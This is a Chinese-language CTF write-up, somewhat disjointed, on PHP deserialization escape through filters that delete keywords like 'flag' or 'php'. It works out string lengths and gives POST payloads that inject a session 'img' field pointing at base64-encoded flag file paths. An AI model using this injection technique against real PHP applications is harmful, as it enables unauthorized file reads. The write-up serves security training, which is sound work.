发现进行了过滤,将php和test转换为空
如果我们在name的参数中输入php,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,如果当name参数为空而读取到sign可控参数前,那么就可以通过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤php一个能吞掉3个字符串,所以我们要输入7个php也就是吞掉21长度,而后面是19长度,所以我们加2个字符来补充
所以构造
其中sign中12为补充使其为21长度,"号用于闭合name参数,然后可以发现,number不可变变量被改变
题目地址:
打开题目是一段代码
先看看phpinfo中的数据,提示在d0g3_f1ag.php文件中
<?php $_SESSION["user"]='123'; $_SESSION["function"]='123'; $_SESSION["img"]='123'; $Lmg = serialize($_SESSION); echo $Lmg."\n"; ?>
先构造代码尝试运行结果
和上面原理一样要将吞掉,长度为23
";s:8:"function";s:75:"
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行,因为数据长度不可能大于100
而flag换成空格吞掉4个字符串,所以要6个flag(当然也可以8个php:3*8=24),然后还有在function参数加一个字符串来满足吞24个字符串
所以构造数字1也就是满足24长度加的,img变量要base64,因为实际的img参数被我们给挤出去了,所说这里不影响
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后查看显示,查看源代码:
将img参数读取的文件改为/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
反序列化pop链构造